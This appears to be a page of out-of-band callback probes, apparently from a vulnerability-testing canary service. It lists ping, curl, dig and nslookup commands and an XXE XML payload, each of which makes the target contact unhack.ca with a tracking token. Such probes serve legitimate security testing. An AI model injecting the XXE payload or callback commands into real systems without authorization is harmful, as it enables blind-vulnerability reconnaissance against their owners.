$ ping -c1 -p 00aae77b58283cc8d55486a1d768ac00 unhack.ca
 

$ curl http://unhack.ca/p/aae77b58283cc8d55486a1d768ac
 

$ dig aae77b58283cc8d55486a1d768ac @unhack.ca
 

$ dig aae77b58283cc8d55486a1d768ac.ns.unhack.ca
 

C:\> nslookup aae77b58283cc8d55486a1d768ac unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aae77b58283cc8d55486a1d768ac">]>
    <foo>&xxe;</foo>